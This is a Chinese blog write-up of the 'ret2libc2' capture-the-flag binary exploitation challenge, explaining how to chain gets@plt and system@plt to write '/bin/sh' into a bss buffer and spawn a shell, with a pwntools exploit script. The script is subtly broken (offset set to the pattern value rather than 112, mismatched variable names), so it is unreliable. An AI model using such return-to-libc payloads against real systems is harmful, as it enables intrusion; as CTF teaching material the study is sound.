当前位置: 首页 > news >正文

【PWN · ret2libc】ret2libc2

ret2libc1的略微进阶——存在system@plt但是不存在“/bin/sh”怎么办?


目录

前言

python3 ELF 查看文件信息

strings 查看寻找"/bin/sh"

IDA反汇编分析 

思路及实现 

老规矩,偏移量 offset

EXP编写  

总结


前言

经过ret2libc1的洗礼,我们对ret2libc的做题模范有了基本的范式,然而实际的题目远没有如此直白和简单。本题就遇到了一个问题:"/bin/sh"字符串在程序中并不存在,怎么办?

其实很简单:没有我们就自己输入。


因为具体的原理在ret2libc1中已经很详细地讲述了,所以本篇博客主要复现解题过程。

python3 ELF 查看文件信息

好的,重要的信息都有了 


strings 查看寻找"/bin/sh"

说明没有这个字符串,恼 

那我们能不能输入一串字符串"/bin/sh",然后把参数地址放到这里呢?


IDA反汇编分析 

bss段发现buf2,可供我们存字符串。可是也没有输入的函数呀?没关系——shellcode里面加就可以。

别忘了,plt表里面有gets@plt!我们既然可以用一种方法,通过system@plt执行system函数,为什么不可以用gets@plt执行gets函数呢?当然可以!! 


思路及实现 

根据基本ret2libc的思想,我们把溢出栈内容如下构造:

这是需要跳转执行两个函数的情况,基于跳转执行一个函数的情况而来,具体可以看上一篇博客ret2libc1 

简单来说,padding后,函数通过返回地址跳到gets@plt然后经过一系列代码,执行gets函数,gets函数的参数从栈gets_addr的后两个单位找到。这个原理很基础,不赘述。具体看上一篇博客。然后同理跳到system@plt执行system,参数向上找第二个(跨过两个单位,其中一个是callee 的push ebp), 也是buf2_addr。

这样就实现了:没有"/bin/sh",输入就有了;照旧system,参数填"/bin/sh"地址;返回shell


老规矩,偏移量 offset

gdb:peda下,pattern create 300 

然后pattern offset addr 

 

 偏移量112


EXP编写  

from pwn import *io=process("./ret2libc2")offset=0x41384141
system_plt_Addr=0x8048490
gets_plt_addr=0x8048460
buf2_addr=0x804a080payload=b'a'*offset+p32(gets_plt_addr)+p32(system_plt_addr)+p32(buf2_addr)+p32(buf2_addr)io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()

成功获得自己的shell 


总结

从最基本理解原理的ret2libc1,到有点花头的ret2libc2,值得展望的是,比赛的题目,远远难于此。但千里之行始于足下,掌握好这些基础的,掌握好这些原理,才能慢慢深入进阶。

http://www.lryc.cn/news/66665.html

相关文章:

  • 深度学习01-tensorflow开发环境搭建
  • linux相关操作
  • PMP项目管理-[第十章]沟通管理
  • 13个UI设计软件,一次满足你的UI设计需求
  • sentinel介绍
  • 手把手教你怎么搭建自己的ChatGPT和Midjourney绘图(含源码)
  • 继承多态经典笔试题
  • 如何使用Typeface-Helper-自定义字体
  • SubMain CodeIt.Right 2022.2 Crack
  • 文艺复兴的核心是“以人为本”:圣母百花大教堂(Duomo)
  • 校招失败后,在小公司熬了 2 年终于进了百度,竭尽全力....
  • 【C++学习】函数模板
  • 1960-2014年各国二氧化碳排放量(人均公吨数)
  • 【java-04】深入浅出多态、内部类、常用API
  • 【逐函数详细讲解ORB_SLAM2算法和C++代码|Viewer|1-26】
  • 【C语言】测试2 C程序设计初步
  • SpringBoot3 integrate SpringDoc
  • 一文解决Xshell无法连接vmware上的centos
  • ATTCK v13版本战术介绍——防御规避(五)
  • 祁宁:社区问答是激荡企业高级智慧的头脑风暴 | 开发者说
  • linux安装
  • 【Go编程语言】 Go语言基础语法
  • 洗稿用什么软件-洗稿软件免费
  • 网络请求发送
  • 微信小程序开发
  • number类型超出16位的问题(前端、后端处理)
  • 【高并发】网络模式
  • springboot+dubbo+zookeeper 项目实战
  • PHP学习笔记第一天
  • 案例研究|萤石网络通过JumpServer解决安全运维难题